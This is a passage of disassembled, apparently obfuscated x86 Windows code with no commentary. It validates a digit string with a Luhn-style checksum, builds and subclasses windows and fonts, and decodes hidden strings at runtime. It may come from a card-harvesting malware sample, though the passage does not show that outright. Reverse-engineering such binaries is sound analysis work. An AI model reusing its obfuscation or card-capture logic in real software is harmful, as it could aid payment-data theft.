		mov	[ebp+eax+var_FE], dl
		mov	eax, ds:100130F8h
		movsx	edx, word ptr ds:10013230h
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+8]
		mov	[ebp+eax+var_105], dl
		mov	eax, ds:1001315Ch
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ah]
		mov	[ebp+eax+var_100], dl
		movsx	eax, word ptr ds:100130A4h
		mov	edx, ds:100130ACh
		lea	eax, [eax+edx+2]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Bh]
		mov	[ebp+eax+var_FF], dl
		mov	eax, ds:10013154h
		inc	eax
		add	eax, ds:100131A8h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ch]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word ptr ds:1001324Ch
		mov	edx, ds:1001318Ch
		lea	eax, [eax+edx+2]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Dh]
		mov	[ebp+eax+var_FF], dl
		mov	eax, ds:100130DCh
		add	eax, 6
		movsx	edx, word ptr ds:100131F0h
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Fh]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word ptr ds:10013260h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+10h]
		mov	[ebp+eax+var_F4], dl
		movsx	eax, word ptr ds:10013230h
		movsx	edx, word ptr ds:1001316Ch
		lea	eax, [eax+edx+7]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+11h]
		mov	[ebp+eax+var_FF], dl
		mov	eax, ds:10013094h
		add	eax, 4
		add	eax, ds:1001317Ch
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+12h]
		mov	[ebp+eax+var_FF], dl
		mov	eax, ds:1001319Ch
		mov	edx, ds:100130D4h
		sub	edx, 6
		mov	[ebp+eax+var_F5], dl
		jmp	short loc_41E21C
; ---------------------------------------------------------------------------


loc_41E20D:				; CODE XREF: sub_41DF98+A4j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_423399


loc_41E21C:				; CODE XREF: sub_41DF98+273j
		mov	eax, ds:10013158h
		mov	esi, eax
		add	esi, ds:1001325Ch
		sub	esi, 11h
		jmp	short loc_41E243
; ---------------------------------------------------------------------------


loc_41E22E:				; CODE XREF: sub_41DF98+2B9j
		mov	al, [ebp+esi+var_FF]
		cmp	al, 30h
		jl	short loc_41E23D
		cmp	al, 39h
		jle	short loc_41E242


loc_41E23D:				; CODE XREF: sub_41DF98+29Fj
		jmp	loc_41EFC7
; ---------------------------------------------------------------------------


loc_41E242:				; CODE XREF: sub_41DF98+2A3j
		inc	esi


loc_41E243:				; CODE XREF: sub_41DF98+294j
		mov	eax, ds:1001320Ch
		inc	eax
		add	eax, ds:10013214h
		cmp	esi, eax
		jb	short loc_41E22E
		mov	eax, ds:10013210h
		add	eax, ds:100131A8h
		sub	eax, 3
		mov	[ebp-108h], eax
		mov	eax, ds:100131ACh
		movsx	edx, word ptr ds:10013180h
		mov	esi, eax
		add	esi, edx
		sub	esi, 9
		jmp	short loc_41E2C7
; ---------------------------------------------------------------------------


loc_41E27C:				; CODE XREF: sub_41DF98+339j
		movsx	eax, [ebp+esi+var_FF]
		sub	eax, 30h
		movsx	edx, word ptr ds:10013100h
		movsx	ecx, word ptr ds:10013104h
		add	edx, ecx
		sub	edx, 9
		imul	eax, edx
		add	[ebp-108h], eax
		cmp	[ebp+esi+var_FF], 34h
		jle	short loc_41E2BD
		movsx	eax, word ptr ds:10013250h
		add	eax, 8
		sub	[ebp-108h], eax


loc_41E2BD:				; CODE XREF: sub_41DF98+313j
		mov	eax, ds:100131B8h
		sub	eax, 3
		add	esi, eax


loc_41E2C7:				; CODE XREF: sub_41DF98+2E2j
		mov	eax, ds:10013268h
		add	eax, 0Ch
		cmp	esi, eax
		jb	short loc_41E27C
		mov	eax, ds:10013120h
		mov	ebx, eax
		add	ebx, ds:1001315Ch
		sub	ebx, 0Dh
		jmp	short loc_41E303
; ---------------------------------------------------------------------------


loc_41E2E5:				; CODE XREF: sub_41DF98+375j
		movsx	eax, [ebp+ebx+var_FF]
		sub	eax, 30h
		add	[ebp-108h], eax
		mov	eax, ds:10013190h
		add	eax, ds:1001318Ch
		add	ebx, eax


loc_41E303:				; CODE XREF: sub_41DF98+34Bj
		mov	eax, ds:10013094h
		add	eax, 0Ah
		cmp	ebx, eax
		jb	short loc_41E2E5
		mov	eax, [ebp-108h]
		mov	ecx, 0Ah
		xor	edx, edx
		div	ecx
		movsx	edi, word ptr ds:100131A4h
		add	edi, ds:1001311Ch
		sub	edi, 0Ch
		cmp	edx, edi
		jnz	loc_41EFC7
		lea	eax, [ebp+var_FF]
		push	eax
		call	dword ptr ds:10012774h
		pop	ecx
		or	eax, eax
		jnz	loc_41EFC7
		mov	esi, ds:100131F8h
		sub	esi, 3
		mov	eax, ds:100131D0h
		mov	esi, eax
		add	esi, ds:10013284h
		sub	esi, 10h
		jmp	short loc_41E37F
; ---------------------------------------------------------------------------


loc_41E367:				; CODE XREF: sub_41DF98+3F7j
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_264], eax
		cmp	dword ptr ds:10010370h[eax], 0
		jz	short loc_41E391
		inc	esi


loc_41E37F:				; CODE XREF: sub_41DF98+3CDj
		mov	eax, ds:10013220h
		add	eax, 5Eh
		add	eax, ds:100131D4h
		cmp	esi, eax
		jb	short loc_41E367


loc_41E391:				; CODE XREF: sub_41DF98+3E4j
		mov	eax, ds:100130ACh
		add	eax, 63h
		cmp	esi, eax
		jz	loc_41EFC7
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_268], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_268]
		mov	ds:10010370h[edx], eax
		push	10014081h
		call	sub_41C914
		pop	ecx
		push	0
		push	eax
		push	0
		push	[ebp+arg_4]
		call	dword ptr ds:1001263Ch
		mov	[ebp+var_134], eax
		test	eax, eax
		jnz	short loc_41E3EA
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_134], eax


loc_41E3EA:				; CODE XREF: sub_41DF98+447j
		push	10014074h
		call	sub_41C914
		push	eax
		push	[ebp+var_134]
		call	sub_41FAF0
		mov	[ebp+var_12C], eax
		push	10014068h
		call	sub_41C914
		push	eax
		push	[ebp+var_12C]
		call	sub_41FAF0
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_26C], eax
		mov	ebx, eax
		mov	ds:10010374h[ebx], edi
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_270], eax
		push	dword ptr ds:10010374h[eax]
		call	dword ptr ds:1001265Ch
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+var_12C]
		call	dword ptr ds:10012654h
		push	0
		call	dword ptr ds:1000F5E8h
		mov	[ebp+var_10C], eax
		push	1001405Eh
		call	sub_41C914
		add	esp, 1Ch
		push	0
		push	[ebp+var_10C]
		push	0
		push	[ebp+var_12C]
		mov	edi, [ebp+var_110]
		sub	edi, [ebp+var_118]
		push	edi
		mov	edi, [ebp+var_114]
		sub	edi, [ebp+var_11C]
		push	edi
		mov	edi, ds:100131F8h
		sub	edi, 3
		push	edi
		movsx	edi, word ptr ds:10013178h
		sub	edi, 4
		push	edi
		push	50800000h
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		push	200h
		call	dword ptr ds:1001164Ch
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_274], eax
		mov	ebx, eax
		mov	ds:10010378h[ebx], edi
		mov	edi, [ebp+var_110]
		sub	edi, [ebp+var_118]
		movsx	ebx, word ptr ds:10013240h
		mov	edx, ds:100130F0h
		lea	ebx, [ebx+edx+0F7h]
		sub	edi, ebx
		mov	ebx, ds:10013248h
		add	ebx, 37h
		add	ebx, ds:10013200h
		mov	eax, edi
		sub	eax, ebx
		xor	edx, edx
		test	eax, eax
		setl	dl
		add	eax, edx
		sar	eax, 1
		mov	[ebp+var_124], eax
		mov	eax, ds:100130B4h
		movsx	edx, word ptr ds:100131E0h
		add	eax, edx
		sub	eax, 0Bh
		cmp	[ebp+var_124], eax
		jge	short loc_41E55A
		mov	eax, ds:10013128h
		sub	eax, 8
		mov	[ebp+var_124], eax


loc_41E55A:				; CODE XREF: sub_41DF98+5B2j
		mov	eax, [ebp+var_114]
		sub	eax, [ebp+var_11C]
		movsx	edx, word ptr ds:100131A4h
		movsx	ecx, word ptr ds:10013180h
		lea	edx, [edx+ecx+22h]
		sub	eax, edx
		mov	[ebp+var_120], eax
		push	10014054h
		call	sub_41C914
		mov	[ebp+var_278], eax
		push	1001403Bh
		call	sub_41C914
		mov	[ebp+var_27C], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_280], eax
		mov	edi, eax
		push	dword ptr ds:10010378h[edi]
		movsx	edi, word ptr ds:10013230h
		add	edi, 36h
		push	edi
		push	[ebp+var_120]
		push	[ebp+var_124]
		movsx	edi, word ptr ds:100130BCh
		mov	ebx, ds:100131CCh
		lea	edi, [edi+ebx+5]
		push	edi
		push	50800000h
		mov	edi, [ebp+var_27C]
		push	edi
		mov	edi, [ebp+var_278]
		push	edi
		mov	edi, ds:100131D4h
		add	edi, ds:1001321Ch
		sub	edi, 0Ah
		push	edi
		call	dword ptr ds:1001164Ch
		mov	[ebp+var_138], eax
		push	10014031h
		call	sub_41C914
		mov	[ebp+var_284], eax
		push	1001402Dh
		call	sub_41C914
		mov	[ebp+var_288], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_28C], eax
		mov	edi, eax
		push	dword ptr ds:10010378h[edi]
		movsx	edi, word ptr ds:1001324Ch
		mov	ebx, ds:100131D0h
		lea	edi, [edi+ebx+0EAh]
		push	edi
		push	[ebp+var_120]
		mov	edi, [ebp+var_124]
		mov	ebx, ds:10013108h
		add	ebx, 36h
		add	edi, ebx
		mov	ebx, ds:100130D4h
		movsx	edx, word ptr ds:10013178h
		add	ebx, edx
		sub	ebx, 9
		add	edi, ebx
		push	edi
		mov	edi, ds:100130ECh
		add	edi, 10h
		push	edi
		push	50800009h
		mov	edi, [ebp+var_288]
		push	edi
		mov	edi, [ebp+var_284]
		push	edi
		mov	edi, ds:10013210h
		dec	edi
		push	edi
		call	dword ptr ds:1001164Ch
		mov	[ebp+var_13C], eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, ds:100130B8h
		sub	eax, 3
		push	eax
		mov	eax, ds:100131ECh
		add	eax, ds:100131B8h
		sub	eax, 0Dh
		push	eax
		movsx	eax, word ptr ds:1001322Ch
		movsx	edx, word ptr ds:100131E0h
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	2BCh
		mov	eax, ds:1001320Ch
		sub	eax, 6
		push	eax
		mov	eax, ds:100130F0h
		dec	eax
		push	eax
		mov	eax, ds:100130E4h
		dec	eax
		push	eax
		mov	eax, ds:10013204h
		add	eax, 0Dh
		add	eax, ds:1001319Ch
		push	eax
		call	dword ptr ds:10010250h
		mov	[ebp+var_140], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_138]
		call	dword ptr ds:1000D014h
		push	10014023h
		call	sub_41C914
		mov	[ebp+var_290], eax
		push	1001401Eh
		call	sub_41C914
		add	esp, 18h
		push	0
		push	[ebp+var_10C]
		push	0
		push	[ebp+var_13C]
		movsx	edi, word ptr ds:10013240h
		add	edi, 0F8h
		mov	ebx, ds:10013204h
		movsx	edx, word ptr ds:10013124h
		add	ebx, edx
		sub	ebx, 3
		sub	edi, ebx
		push	edi
		mov	edi, [ebp+var_120]
		mov	ebx, ds:100131CCh
		sub	ebx, 2
		sub	edi, ebx
		push	edi
		movsx	edi, word ptr ds:1001316Ch
		movsx	ebx, word ptr ds:10013150h
		add	edi, ebx
		sub	edi, 8
		push	edi
		movsx	edi, word ptr ds:100131C0h
		movsx	ebx, word ptr ds:100130C0h
		add	edi, ebx
		sub	edi, 5
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_290]
		push	edi
		mov	edi, ds:100130E4h
		add	edi, ds:10013268h
		sub	edi, 0Dh
		push	edi
		call	dword ptr ds:1001164Ch
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_294], eax
		mov	ebx, eax
		mov	ds:1001037Ch[ebx], edi
		mov	eax, ds:100130E4h
		cmp	[ebp+eax+var_108], 34h
		jnz	short loc_41E837
		push	10014016h
		call	sub_41C914
		pop	ecx
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	sub_423399
		jmp	short loc_41E84F
; ---------------------------------------------------------------------------


loc_41E837:				; CODE XREF: sub_41DF98+883j
		push	10014008h
		call	sub_41C914
		pop	ecx
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	sub_423399


loc_41E84F:				; CODE XREF: sub_41DF98+89Dj
		push	10013F96h
		call	sub_41C914
		lea	edi, [ebp+var_FF]
		push	edi
		lea	edi, [ebp+var_253]
		push	edi
		push	eax
		lea	edi, [ebp+var_23F]
		push	edi
		call	dword ptr ds:10012634h
		push	10013F8Ch
		call	sub_41C914
		mov	[ebp+var_298], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_29C], eax
		mov	edi, eax
		push	dword ptr ds:1001037Ch[edi]
		mov	edi, ds:10013164h
		add	edi, 2Ch
		push	edi
		push	[ebp+var_120]
		mov	edi, ds:100131E4h
		add	edi, 6
		push	edi
		mov	edi, ds:10013244h
		movsx	ebx, word ptr ds:100130B0h
		add	edi, ebx
		dec	edi
		push	edi
		push	50000000h
		lea	edi, [ebp+var_23F]
		push	edi
		mov	edi, [ebp+var_298]
		push	edi
		mov	edi, ds:10013188h
		add	edi, ds:10013090h
		sub	edi, 3
		push	edi
		call	dword ptr ds:1001164Ch
		mov	[ebp+var_258], eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, ds:1001319Ch
		sub	eax, 6
		push	eax
		mov	eax, ds:10013158h
		sub	eax, 9
		push	eax
		movsx	eax, word ptr ds:100130D0h
		sub	eax, 7
		push	eax
		push	190h
		movsx	eax, word ptr ds:10013208h
		add	eax, ds:10013120h
		sub	eax, 0Ah
		push	eax
		mov	eax, ds:100131ACh
		add	eax, ds:1001323Ch
		sub	eax, 0Ah
		push	eax
		mov	eax, ds:100131D0h
		add	eax, ds:100130ACh
		sub	eax, 2
		push	eax
		mov	eax, ds:10013220h
		add	eax, 0Ch
		push	eax
		call	dword ptr ds:10010250h
		mov	[ebp+var_130], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_258]
		call	dword ptr ds:1000D014h
		push	10013F80h
		call	sub_41C914
		mov	[ebp+var_2A0], eax
		push	10013F7Ch
		call	sub_41C914
		mov	[ebp+var_2A4], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2A8], eax
		mov	edi, eax
		push	dword ptr ds:1001037Ch[edi]
		mov	edi, ds:10013200h
		add	edi, 11Fh
		add	edi, ds:100131ECh
		push	edi
		mov	edi, ds:100131B8h
		add	edi, 2Dh
		push	edi
		mov	edi, ds:100130F0h
		add	edi, 45h
		movsx	ebx, word ptr ds:10013208h
		add	edi, ebx
		push	edi
		movsx	edi, word ptr ds:10013118h
		add	edi, ds:10013254h
		sub	edi, 2
		push	edi
		push	50800003h
		mov	edi, [ebp+var_2A4]
		push	edi
		mov	edi, [ebp+var_2A0]
		push	edi
		mov	edi, ds:10013168h
		add	edi, ds:1001312Ch
		sub	edi, 8
		push	edi
		call	dword ptr ds:1001164Ch
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2AC], eax
		mov	ebx, eax
		mov	ds:10010380h[ebx], edi
		push	10013F70h
		call	sub_41C914
		mov	[ebp+var_2B0], eax
		push	10013F6Ch
		call	sub_41C914
		add	esp, 28h
		mov	[ebp+var_2B4], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2B8], eax
		mov	edi, eax
		push	dword ptr ds:1001037Ch[edi]
		mov	edi, ds:100131B0h
		add	edi, 125h
		push	edi
		mov	edi, ds:100131ACh
		add	edi, 34h
		add	edi, ds:100131A0h
		push	edi
		mov	edi, ds:1001325Ch
		add	edi, 41h
		add	edi, ds:100131D4h
		push	edi
		mov	edi, ds:10013120h
		lea	edi, [edi+edi+3Ch]
		push	edi
		push	50800003h
		mov	edi, [ebp+var_2B4]
		push	edi
		mov	edi, [ebp+var_2B0]
		push	edi
		movsx	edi, word ptr ds:100130E0h
		add	edi, ds:10013108h
		sub	edi, 7
		push	edi
		call	dword ptr ds:1001164Ch
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2BC], eax
		mov	ebx, eax
		mov	ds:10010384h[ebx], edi
		movsx	eax, word ptr ds:100130E8h
		add	eax, ds:100131F8h
		sub	eax, 3
		mov	[ebp+var_102], ax
		jmp	loc_41EBE3
; ---------------------------------------------------------------------------


loc_41EB1D:				; CODE XREF: sub_41DF98+C5Ej
		push	10013F64h
		call	sub_41C914
		movzx	edi, [ebp+var_102]
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	dword ptr ds:10012634h
		lea	eax, [ebp+var_2C6]
		push	eax
		movsx	eax, word ptr ds:10013208h
		movsx	edx, word ptr ds:10013124h
		add	eax, edx
		sub	eax, 0Bh
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		push	dword ptr ds:10010380h[eax]
		call	dword ptr ds:1000D014h
		push	10013F5Ah
		call	sub_41C914
		movzx	edi, [ebp+var_102]
		movsx	ebx, word ptr ds:100130E0h
		lea	edi, [edi+ebx+5]
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	dword ptr ds:10012634h
		add	esp, 20h
		lea	eax, [ebp+var_2C6]
		push	eax
		movsx	eax, word ptr ds:100130A4h
		add	eax, ds:10013134h
		sub	eax, 0Eh
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	dword ptr ds:10010384h[eax]
		call	dword ptr ds:1000D014h
		inc	[ebp+var_102]


loc_41EBE3:				; CODE XREF: sub_41DF98+B80j
		movzx	eax, [ebp+var_102]
		movsx	edx, word ptr ds:10013208h
		add	edx, 8
		cmp	eax, edx
		jl	loc_41EB1D
		push	10013F52h
		call	sub_41C914
		mov	[ebp+var_2C0], eax
		push	10013F4Eh
		call	sub_41C914
		mov	[ebp+var_2C4], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp-2C8h], eax
		mov	edi, eax
		push	dword ptr ds:1001037Ch[edi]
		mov	edi, ds:10013204h
		add	edi, 17h
		push	edi
		movsx	edi, word ptr ds:100130BCh
		mov	ebx, ds:100131D8h
		lea	edi, [edi+ebx+43h]
		push	edi
		mov	edi, ds:100131ECh
		add	edi, 74h
		push	edi
		mov	edi, ds:100131F4h
		add	edi, 2Bh
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2C4]
		push	edi
		mov	edi, [ebp+var_2C0]
		push	edi
		push	200h
		call	dword ptr ds:1001164Ch
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		mov	ebx, eax
		mov	ds:10010388h[ebx], edi
		mov	eax, ds:100131D4h
		sub	eax, 2
		push	eax
		push	58h
		push	0CCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	dword ptr ds:10010388h[eax]
		call	dword ptr ds:1000D014h
		push	10013F44h
		call	sub_41C914
		mov	[ebp+var_2D4], eax
		push	10013F22h
		call	sub_41C914
		mov	[ebp+var_2D8], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2DC], eax
		mov	edi, eax
		push	dword ptr ds:1001037Ch[edi]
		movsx	edi, word ptr ds:1001327Ch
		add	edi, 3Ch
		push	edi
		push	[ebp+var_120]
		movsx	edi, word ptr ds:10013100h
		add	edi, 4Ch
		push	edi
		movsx	edi, word ptr ds:100130C0h
		add	edi, 94h
		push	edi
		push	50000000h
		mov	edi, [ebp+var_2D8]
		push	edi
		mov	edi, [ebp+var_2D4]
		push	edi
		movsx	edi, word ptr ds:100131E0h
		movsx	ebx, word ptr ds:10013174h
		add	edi, ebx
		sub	edi, 0Ah
		push	edi
		call	dword ptr ds:1001164Ch
		mov	[ebp+var_25C], eax
		push	1
		push	[ebp+var_130]
		push	30h
		push	eax
		call	dword ptr ds:1000D014h
		push	10013F18h
		call	sub_41C914
		mov	[ebp+var_2E0], eax
		push	10013EFEh
		call	sub_41C914
		add	esp, 18h
		mov	[ebp+var_2E4], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2E8], eax
		mov	edi, eax
		push	dword ptr ds:1001037Ch[edi]
		movsx	edi, word ptr ds:10013150h
		mov	ebx, ds:10013288h
		lea	edi, [edi+ebx+9]
		push	edi
		mov	edi, ds:100131E4h
		add	edi, 97h
		push	edi
		mov	edi, ds:100131B0h
		add	edi, 0F1h
		add	edi, ds:10013278h
		mov	ebx, ds:10013198h
		add	ebx, 1Eh
		movsx	edx, word ptr ds:100131E0h
		add	ebx, edx
		sub	edi, ebx
		push	edi
		movsx	edi, word ptr ds:100130D0h
		add	edi, 3
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2E4]
		push	edi
		mov	edi, [ebp+var_2E0]
		push	edi
		mov	edi, ds:1001317Ch
		sub	edi, 5
		push	edi
		call	dword ptr ds:1001164Ch
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2EC], eax
		mov	ebx, eax
		mov	ds:1001038Ch[ebx], edi
		push	1
		push	[ebp+var_130]
		mov	eax, 30h
		push	30h
		mul	esi
		mov	[ebp+var_2F0], eax
		push	dword ptr ds:1001038Ch[eax]
		call	dword ptr ds:1000D014h
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2F4], eax
		mov	[ebp+var_2F8], eax
		push	dword ptr ds:10010380h[eax]
		call	dword ptr ds:10012628h
		mov	edi, [ebp+var_2F8]
		mov	ds:10010390h[edi], eax
		push	100089F6h
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2FC], eax
		push	dword ptr ds:10010380h[eax]
		call	dword ptr ds:1000F5FCh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_300], eax
		mov	[ebp+var_304], eax
		push	dword ptr ds:10010384h[eax]
		call	dword ptr ds:10012628h
		mov	edi, [ebp+var_304]
		mov	ds:10010394h[edi], eax
		push	100089F6h
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_308], eax
		push	dword ptr ds:10010384h[eax]
		call	dword ptr ds:1000F5FCh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_30C], eax
		mov	[ebp+var_310], eax
		push	dword ptr ds:10010388h[eax]
		call	dword ptr ds:10012628h
		mov	edi, [ebp+var_310]
		mov	ds:10010398h[edi], eax
		push	100089F6h
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_314], eax
		push	dword ptr ds:10010388h[eax]
		call	dword ptr ds:1000F5FCh
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_318], eax
		mov	[ebp+var_31C], eax
		push	dword ptr ds:1001037Ch[eax]
		call	dword ptr ds:10012628h
		mov	edi, [ebp+var_31C]
		mov	ds:1001039Ch[edi], eax
		push	100089F6h
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_320], eax
		push	dword ptr ds:1001037Ch[eax]
		call	dword ptr ds:1000F5FCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_324], eax
		push	dword ptr ds:10010380h[eax]
		call	dword ptr ds:1000FA40h


loc_41EFC7:				; CODE XREF: sub_41DF98+10j
					; sub_41DF98+21j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DF98	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, ds:1001320Ch
		add	eax, ds:10013198h
		sub	eax, 8
		cmp	ds:10012784h, eax
		jbe	short loc_41EFF0
		push	10012784h
		call	dword ptr ds:1000D010h


loc_41EFF0:				; CODE XREF: .data:0041EFE3j
		mov	eax, ds:10012784h
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword ptr ds:1000F618h
		pop	edi
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 15Ch
		push	ebx
		push	esi
		push	edi
		call	sub_41A1EB
		call	sub_41B8C0
		call	sub_41B7D9
		call	sub_4198EA
		call	sub_421158
		call	sub_419AAB
		call	sub_41C67B
		call	sub_41C5D3
		call	sub_419BB0
		mov	esi, eax


loc_41F052:				; CODE XREF: .data:0041F0AEj
		call	sub_419B03
		mov	edx, eax
		mov	[ebp-144h], dl
		movzx	eax, byte ptr [ebp-144h]
		mov	edx, ds:100130A0h
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_41F08A
		movsx	eax, word ptr ds:100131DCh
		add	eax, ds:10013194h
		sub	eax, 9
		push	eax
		call	dword ptr ds:10012664h


loc_41F08A:				; CODE XREF: .data:0041F071j
		movzx	eax, byte ptr [ebp-144h]
		mov	edx, ds:100131F8h
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_41F0B0
		mov	eax, ds:10013228h
		add	eax, 61h
		push	eax
		call	dword ptr ds:10012630h
		pop	ecx
		jmp	short loc_41F052
; ---------------------------------------------------------------------------


loc_41F0B0:				; CODE XREF: .data:0041F09Cj
		or	esi, esi
		jnz	loc_41F16A
		push	10013EF3h
		call	sub_41C914
		mov	[ebp-154h], eax
		push	10013EE9h
		call	sub_41C914
		push	eax
		mov	edx, [ebp-154h]
		push	edx
		lea	edx, [ebp-143h]
		push	edx
		call	dword ptr ds:10012634h
		lea	eax, [ebp-143h]
		push	eax
		push	0
		push	0
		call	dword ptr ds:1001261Ch
		mov	ebx, eax
		push	10013EDDh
		call	sub_41C914
		mov	[ebp-158h], eax
		push	10013ED3h
		call	sub_41C914
		mov	edx, ds:10013234h
		add	edx, ds:1001323Ch
		sub	edx, 7
		push	edx
		push	eax
		mov	edx, [ebp-158h]
		push	edx
		lea	edx, [ebp-143h]
		push	edx
		call	dword ptr ds:10012634h
		add	esp, 2Ch
		lea	eax, [ebp-143h]
		push	eax
		push	0
		push	0
		call	dword ptr ds:1001261Ch
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_41F16A
		movsx	eax, word ptr ds:100130CCh
		add	eax, ds:10013138h
		sub	eax, 6
		push	eax
		call	dword ptr ds:10012664h


loc_41F16A:				; CODE XREF: .data:0041F0B2j
					; .data:0041F151j
		push	0
		call	dword ptr ds:1000F5E8h
		mov	edi, eax
		push	10013EC9h
		call	sub_41C914
		mov	[ebp-20h], eax
		mov	[ebp-34h], edi
		lea	eax, ds:10007BECh
		mov	[ebp-40h], eax
		push	7F00h
		push	0
		call	dword ptr ds:10010220h
		mov	[ebp-2Ch], eax
		push	7F03h
		push	0
		call	dword ptr ds:10012620h
		mov	[ebp-30h], eax
		and	dword ptr [ebp-24h], 0
		push	0
		call	dword ptr ds:1000E120h
		mov	[ebp-28h], eax
		mov	dword ptr [ebp-44h], 3
		mov	eax, ds:100131C4h
		add	eax, ds:1001319Ch
		sub	eax, 0Bh
		mov	[ebp-3Ch], eax
		mov	eax, ds:10013108h
		movsx	edx, word ptr ds:100130FCh
		add	eax, edx
		sub	eax, 0Ch
		mov	[ebp-38h], eax
		lea	eax, [ebp-44h]
		push	eax
		call	dword ptr ds:1000F0DCh
		push	10013EBFh
		call	sub_41C914
		mov	[ebp-15Ch], eax
		push	10013EB5h
		call	sub_41C914
		push	0
		push	edi
		push	0
		push	0
		mov	edx, ds:10013228h
		add	edx, ds:100131D8h
		sub	edx, 0Ch
		push	edx
		movsx	edx, word ptr ds:10013124h
		sub	edx, 6
		push	edx
		mov	edx, ds:10013214h
		mov	ecx, edx
		sub	ecx, 9
		push	ecx
		movsx	ecx, word ptr ds:100130E0h
		dec	ecx
		push	ecx
		push	0CA0000h
		push	eax
		mov	ecx, [ebp-15Ch]
		push	ecx
		mov	ecx, ds:10013254h
		add	ecx, edx
		mov	edx, ecx
		sub	edx, 12h
		push	edx
		call	dword ptr ds:1001164Ch
		mov	ds:1000F610h, eax
		lea	eax, [ebp-148h]
		push	eax
		push	edi
		call	sub_41F52F
		add	esp, 14h
		mov	[ebp-14Ch], eax
		mov	ds:10012610h, eax
		mov	eax, [ebp-148h]
		mov	ds:1000F614h, eax
		or	esi, esi
		jnz	short loc_41F2AD
		call	sub_419F76
		mov	eax, ds:10013090h
		add	eax, ds:10013110h
		sub	eax, 8
		mov	ds:10012638h, eax
		jmp	short loc_41F2C6
; ---------------------------------------------------------------------------


loc_41F2AD:				; CODE XREF: .data:0041F291j
		movsx	eax, word ptr ds:100130C0h
		mov	edx, ds:10013220h
		lea	eax, [eax+edx+3A92h]
		mov	ds:10012638h, eax


loc_41F2C6:				; CODE XREF: .data:0041F2ABj
		lea	eax, [ebp-150h]
